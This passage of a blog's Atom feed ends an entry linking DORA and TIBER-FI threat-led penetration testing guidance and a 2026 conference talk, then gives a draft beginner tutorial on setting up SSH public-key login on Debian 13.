&lt;p&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng&quot;&gt;DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Article 26 defines threat-lead penetration testing. &quot;Advanced testing of ICT tools, systems and processes based on TLPT&quot;&lt;/li&gt;
&lt;li&gt;Article 27 defines the requirements for the testers. &quot;Requirements for testers for the carrying out of TLPT&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bank of Finland (Suomen Pankki): &lt;a href=&quot;https://www.suomenpankki.fi/tiberfi&quot;&gt;TIBER-FI and TIBER-EU guidance&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf&quot;&gt;TIBER-FI procedures and guidelines&lt;/a&gt; (pdf, 1 MB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Buuri 2026: &lt;a href=&quot;https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ&quot;&gt;D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a&gt;. Video, 45 min. Disobey 2026.&lt;/p&gt;
&lt;h2 id=&quot;slides-taster&quot;&gt;Slides taster &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#slides-taster&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;download the whole deck&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.h054e4bf8.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;453&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;figure&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.he1360952.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;459&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;figure&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.hb35e3332.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;450&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;bio&quot;&gt;Bio &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#bio&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Marko Buuri is cyber security adviser in the Bank of Finland (Suomen Pankki). He has over 20 years of in-house and consulting cyber experience. Since 2020 he&#39;s been involved in implementing and operating TIBER-FI red team testing framework for the financial sector in Finland.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>SSH public key - Login without password</title>
    <link href="https://terokarvinen.com/ssh-public-key-login-without-password/"/>
    <id>https://terokarvinen.com/ssh-public-key-login-without-password/</id>
    <published>2026-03-26T14:50:00+02:00</published>
    <updated>2026-03-26T14:50:00+02:00</updated>
    <content type="html">&lt;p&gt;SSH is the leading solution for securily logging into servers.&lt;/p&gt;
&lt;p&gt;Many products use SSH in the background: git, rsync, ansible...&lt;/p&gt;
&lt;p&gt;Public key authentication is quite convenient. You don&#39;t need to type your password for every &#39;git push&#39; or &#39;ansible-playbook&#39;. Use correctly, it can also make your server more secure.&lt;/p&gt;
&lt;p&gt;This example is written for Debian 13-trixie.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;install-ssh&quot;&gt;Install SSH &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#install-ssh&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Install the OpenSSH-server package&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get update&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;y&lt;/span&gt; install ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make SSH daemon start on boot (enable) and also start it now (--now)&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; systemctl enable&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;now&lt;/span&gt; ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;test-ssh&quot;&gt;Test SSH &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#test-ssh&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Normally, you would say user@host, such as tero@example.com. Here, we can leave out username, as it&#39;s the same on both machines.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &#39;w&#39;, you can see yourself logged in twice: once on the desktop, once trough ssh.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;remote$ exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;automatic-login-with-ssh-public-key&quot;&gt;Automatic login with SSH public key &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#automatic-login-with-ssh-public-key&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Generate a keypair&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh-keygen	&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; enter enter enter to accept the defaults&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you already have a keypair, don&#39;t overwrite it. The public key ($HOME/.ssh/id_*.pub) is literally public, you can use the same public key in all hosts. The public key ends with &quot;.pub&quot;.&lt;/p&gt;
&lt;p&gt;If you need the public key for VPS (virtual private server) provider, you can see and copy-paste your keys with &#39;head $HOME/.ssh/id*.pub&#39;.&lt;/p&gt;
&lt;p&gt;Copy it to hosts where you can already log in.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh-copy-id&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you&#39;ve entered your password for the last time, ssh-copy-id adds your public key into .ssh/authorized_keys on the remote machine. Now your key is authorized for logins.&lt;/p&gt;
&lt;p&gt;Your public key is used automatically&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you log in without giving your password?&lt;/p&gt;
&lt;p&gt;Well done, you&#39;ve now automated login with SSH public keys.&lt;/p&gt;
&lt;h2 id=&quot;troubleshooting&quot;&gt;Troubleshooting &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#troubleshooting&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here are some helpfull troubleshooting commands.&lt;/p&gt;
&lt;p&gt;Client side:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;v&lt;/span&gt; localhost&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server side:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; journalctl&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;follow&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; systemctl status ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
</feed>
